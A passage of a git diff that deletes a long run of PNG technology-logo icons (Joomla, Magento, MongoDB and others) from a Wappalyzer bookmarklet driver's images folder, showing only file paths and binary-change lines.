b/Wappalyzer/drivers/bookmarklet/images/icons/Indexhibit.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Indexhibit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Indico.png b/Wappalyzer/drivers/bookmarklet/images/icons/Indico.png deleted file mode 100755 index f04d630..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Indico.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Indy.png b/Wappalyzer/drivers/bookmarklet/images/icons/Indy.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Indy.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/InstantCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/InstantCMS.png deleted file mode 100644 index 9b18932..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/InstantCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Intel Active Management Technology.png b/Wappalyzer/drivers/bookmarklet/images/icons/Intel Active Management Technology.png deleted file mode 100644 index df1d937..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Intel Active Management Technology.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/IntenseDebate.png b/Wappalyzer/drivers/bookmarklet/images/icons/IntenseDebate.png deleted file mode 100644 index 757bf1b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/IntenseDebate.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Intercom.png b/Wappalyzer/drivers/bookmarklet/images/icons/Intercom.png deleted file mode 100644 index c6fe220..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Intercom.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Intershop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Intershop.png deleted file mode 100644 index 2cb07ca..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Intershop.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Invenio.png b/Wappalyzer/drivers/bookmarklet/images/icons/Invenio.png deleted file mode 100644 index cfbe07d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Invenio.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ionicons.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ionicons.png deleted file mode 100644 index c193d11..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ionicons.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JAlbum.png b/Wappalyzer/drivers/bookmarklet/images/icons/JAlbum.png deleted file mode 100644 index 898676c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JAlbum.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Application Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Application Server.png deleted file mode 100644 index e4a4331..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Application Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Web.png b/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Web.png deleted file mode 100644 index da55dd5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Web.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JC-HTTPD.png b/Wappalyzer/drivers/bookmarklet/images/icons/JC-HTTPD.png deleted file mode 100755 index 1f55e03..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JC-HTTPD.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JS Charts.png b/Wappalyzer/drivers/bookmarklet/images/icons/JS Charts.png deleted file mode 100644 index ff7e89a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JS Charts.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JTL Shop.png b/Wappalyzer/drivers/bookmarklet/images/icons/JTL Shop.png deleted file mode 100644 index 564c41f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JTL Shop.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jalios.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jalios.png deleted file mode 100644 index 9cf7872..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Jalios.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Java Servlet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Java Servlet.png deleted file mode 100644 index 0160cf6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Java Servlet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Java.png b/Wappalyzer/drivers/bookmarklet/images/icons/Java.png deleted file mode 100644 index 0160cf6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Java.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JavaServer Faces.png b/Wappalyzer/drivers/bookmarklet/images/icons/JavaServer Faces.png deleted file mode 100644 index f526322..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JavaServer Faces.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JavaServer Pages.png b/Wappalyzer/drivers/bookmarklet/images/icons/JavaServer Pages.png deleted file mode 100644 index 0160cf6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JavaServer Pages.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Javascript Infovis Toolkit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Javascript Infovis Toolkit.png deleted file mode 100644 index c34e29e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Javascript Infovis Toolkit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jekyll.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jekyll.png deleted file mode 100644 index 453ffb2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Jekyll.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jenkins.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jenkins.png deleted file mode 100644 index 8a712a9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Jenkins.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jetty.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jetty.png deleted file mode 100755 index e3bf4c3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Jetty.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jirafe.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jirafe.png deleted file mode 100644 index 32edeaf..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Jirafe.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jo.png deleted file mode 100644 index 477faf7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Jo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JobberBase.png b/Wappalyzer/drivers/bookmarklet/images/icons/JobberBase.png deleted file mode 100644 index 8ac580f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/JobberBase.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Joomla.png b/Wappalyzer/drivers/bookmarklet/images/icons/Joomla.png deleted file mode 100644 index 9952bb3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Joomla.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/K2.png b/Wappalyzer/drivers/bookmarklet/images/icons/K2.png deleted file mode 100644 index 15280a5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/K2.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/KISSmetrics.png b/Wappalyzer/drivers/bookmarklet/images/icons/KISSmetrics.png deleted file mode 100644 index e6a6024..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/KISSmetrics.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/KS_HTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/KS_HTTP.png deleted file mode 100755 index 1f55e03..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/KS_HTTP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Kampyle.png b/Wappalyzer/drivers/bookmarklet/images/icons/Kampyle.png deleted file mode 100644 index e2641f0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Kampyle.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Kendo UI.png b/Wappalyzer/drivers/bookmarklet/images/icons/Kendo UI.png deleted file mode 100644 index 37536ca..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Kendo UI.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Kentico CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Kentico CMS.png deleted file mode 100644 index d171d1b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Kentico CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/KineticJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/KineticJS.png deleted file mode 100644 index 8cc5bf0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/KineticJS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Knockout.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Knockout.js.png deleted file mode 100644 index 8e25237..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Knockout.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Koa.png b/Wappalyzer/drivers/bookmarklet/images/icons/Koa.png deleted file mode 100644 index a22e335..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Koa.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Koala Framework.png b/Wappalyzer/drivers/bookmarklet/images/icons/Koala Framework.png deleted file mode 100755 index 3e3a99e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Koala Framework.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Koego.png b/Wappalyzer/drivers/bookmarklet/images/icons/Koego.png deleted file mode 100644 index 72e498b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Koego.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Kohana.png b/Wappalyzer/drivers/bookmarklet/images/icons/Kohana.png deleted file mode 100644 index 8539a2c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Kohana.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Kolibri CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Kolibri CMS.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Kolibri CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Komodo CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Komodo CMS.png deleted file mode 100644 index 04d81f3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Komodo CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Koobi.png b/Wappalyzer/drivers/bookmarklet/images/icons/Koobi.png deleted file mode 100644 index 7a38b33..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Koobi.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Kooboo CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Kooboo CMS.png deleted file mode 100644 index 7d4bb56..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Kooboo CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LEPTON.png b/Wappalyzer/drivers/bookmarklet/images/icons/LEPTON.png deleted file mode 100644 index d444b75..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LEPTON.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LabVIEW.png b/Wappalyzer/drivers/bookmarklet/images/icons/LabVIEW.png deleted file mode 100755 index 173016d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LabVIEW.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Laravel.png b/Wappalyzer/drivers/bookmarklet/images/icons/Laravel.png deleted file mode 100644 index fea2630..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Laravel.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Leaflet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Leaflet.png deleted file mode 100644 index b0df5ee..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Leaflet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Less.png b/Wappalyzer/drivers/bookmarklet/images/icons/Less.png deleted file mode 100644 index ffe18f0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Less.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Liferay.png b/Wappalyzer/drivers/bookmarklet/images/icons/Liferay.png deleted file mode 100644 index 43560bf..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Liferay.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lift.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lift.png deleted file mode 100644 index a0bd09b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Lift.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LightMon Engine.png b/Wappalyzer/drivers/bookmarklet/images/icons/LightMon Engine.png deleted file mode 100644 index 6d627ab..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LightMon Engine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lightbox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lightbox.png deleted file mode 100644 index 5201c06..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Lightbox.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LimeSurvey.png b/Wappalyzer/drivers/bookmarklet/images/icons/LimeSurvey.png deleted file mode 100644 index b877689..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LimeSurvey.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LinkSmart.png b/Wappalyzer/drivers/bookmarklet/images/icons/LinkSmart.png deleted file mode 100644 index 4499ea6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LinkSmart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LiteSpeed.png b/Wappalyzer/drivers/bookmarklet/images/icons/LiteSpeed.png deleted file mode 100644 index 33f30a8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LiteSpeed.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LiveJournal.png b/Wappalyzer/drivers/bookmarklet/images/icons/LiveJournal.png deleted file mode 100644 index 59c6f45..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LiveJournal.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/LiveStreet CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/LiveStreet CMS.png deleted file mode 100644 index 7a9c07a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/LiveStreet CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Livefyre.png b/Wappalyzer/drivers/bookmarklet/images/icons/Livefyre.png deleted file mode 100644 index 5bdce71..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Livefyre.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lo-dash.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lo-dash.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Lo-dash.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lockerz Share.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lockerz Share.png deleted file mode 100644 index cd1231f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Lockerz Share.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Locomotive.png b/Wappalyzer/drivers/bookmarklet/images/icons/Locomotive.png deleted file mode 100644 index 21482d0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Locomotive.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lodash.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lodash.png deleted file mode 100644 index 140aaaa..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Lodash.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Logitech Media Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Logitech Media Server.png deleted file mode 100755 index 0fd2074..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Logitech Media Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lotus Domino.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lotus Domino.png deleted file mode 100644 index b510e1a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Lotus Domino.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Lua.png b/Wappalyzer/drivers/bookmarklet/images/icons/Lua.png deleted file mode 100644 index 5b8dbc1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Lua.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Webserver.png b/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Webserver.png deleted file mode 100644 index 1e3e20e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Webserver.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Wild CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Wild CMS.png deleted file mode 100644 index 1e3e20e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/M.R. Inc Wild CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MOBOTIX.png b/Wappalyzer/drivers/bookmarklet/images/icons/MOBOTIX.png deleted file mode 100755 index a457462..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MOBOTIX.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MODx.png b/Wappalyzer/drivers/bookmarklet/images/icons/MODx.png deleted file mode 100644 index d53611f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MODx.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Magento.png b/Wappalyzer/drivers/bookmarklet/images/icons/Magento.png deleted file mode 100644 index 981f4cc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Magento.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mambo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mambo.png deleted file mode 100644 index b739586..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mambo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MantisBT.png b/Wappalyzer/drivers/bookmarklet/images/icons/MantisBT.png deleted file mode 100644 index 5482198..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MantisBT.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ManyContacts.png b/Wappalyzer/drivers/bookmarklet/images/icons/ManyContacts.png deleted file mode 100644 index 570450f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ManyContacts.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Marketo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Marketo.png deleted file mode 100644 index e6da173..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Marketo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MathJax.png b/Wappalyzer/drivers/bookmarklet/images/icons/MathJax.png deleted file mode 100644 index ba3ee56..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MathJax.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MaxSite CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/MaxSite CMS.png deleted file mode 100644 index 1bc62b6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MaxSite CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MediaElement.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/MediaElement.js.png deleted file mode 100644 index a95762d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MediaElement.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MediaTomb.png b/Wappalyzer/drivers/bookmarklet/images/icons/MediaTomb.png deleted file mode 100644 index 537b6f9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MediaTomb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MediaWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/MediaWiki.png deleted file mode 100644 index d976ea5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MediaWiki.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Meebo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Meebo.png deleted file mode 100644 index f872d03..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Meebo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Methode.png b/Wappalyzer/drivers/bookmarklet/images/icons/Methode.png deleted file mode 100644 index a27455c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Methode.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft ASP.NET.png b/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft ASP.NET.png deleted file mode 100644 index 471760a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft ASP.NET.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft HTTPAPI.png b/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft HTTPAPI.png deleted file mode 100644 index deabbd5..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft HTTPAPI.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft SharePoint.png b/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft SharePoint.png deleted file mode 100644 index b8d6f9b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Microsoft SharePoint.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MiniBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/MiniBB.png deleted file mode 100644 index b60ad71..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MiniBB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MiniServ.png b/Wappalyzer/drivers/bookmarklet/images/icons/MiniServ.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MiniServ.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mint.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mint.png deleted file mode 100644 index 8880042..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mint.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mixpanel.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mixpanel.png deleted file mode 100644 index fe7cd58..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mixpanel.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mobify.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mobify.png deleted file mode 100644 index 46957f1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mobify.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MochiKit.png b/Wappalyzer/drivers/bookmarklet/images/icons/MochiKit.png deleted file mode 100644 index bc3e15e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MochiKit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MochiWeb.png b/Wappalyzer/drivers/bookmarklet/images/icons/MochiWeb.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MochiWeb.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Modernizr.png b/Wappalyzer/drivers/bookmarklet/images/icons/Modernizr.png deleted file mode 100644 index 41a2b0d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Modernizr.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MoinMoin.png b/Wappalyzer/drivers/bookmarklet/images/icons/MoinMoin.png deleted file mode 100644 index 31ec01c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MoinMoin.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mojolicious.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mojolicious.png deleted file mode 100644 index 77940d7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mojolicious.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mollom.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mollom.png deleted file mode 100644 index 937fc59..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mollom.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Moment Timezone.png b/Wappalyzer/drivers/bookmarklet/images/icons/Moment Timezone.png deleted file mode 100644 index 32053ae..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Moment Timezone.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Moment.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Moment.js.png deleted file mode 100644 index 32053ae..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Moment.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mondo Media.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mondo Media.png deleted file mode 100644 index 0570eb3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mondo Media.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MongoDB.png b/Wappalyzer/drivers/bookmarklet/images/icons/MongoDB.png deleted file mode 100644 index f8b3e7f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MongoDB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mongrel.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mongrel.png deleted file mode 100644 index 8e847b8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mongrel.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Monkey HTTP Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Monkey HTTP Server.png deleted file mode 100644 index a81df2c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Monkey HTTP Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mono.net.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mono.net.png deleted file mode 100644 index c66e401..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mono.net.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mono.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mono.png deleted file mode 100644 index f2340ac..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mono.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MooTools.png b/Wappalyzer/drivers/bookmarklet/images/icons/MooTools.png deleted file mode 100644 index 97ee321..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MooTools.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Moodle.png b/Wappalyzer/drivers/bookmarklet/images/icons/Moodle.png deleted file mode 100644 index 6721efe..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Moodle.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Moogo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Moogo.png deleted file mode 100644 index 0c93958..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Moogo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Motion-httpd.png b/Wappalyzer/drivers/bookmarklet/images/icons/Motion-httpd.png deleted file mode 100644 index 2e51915..0000000 Binary files 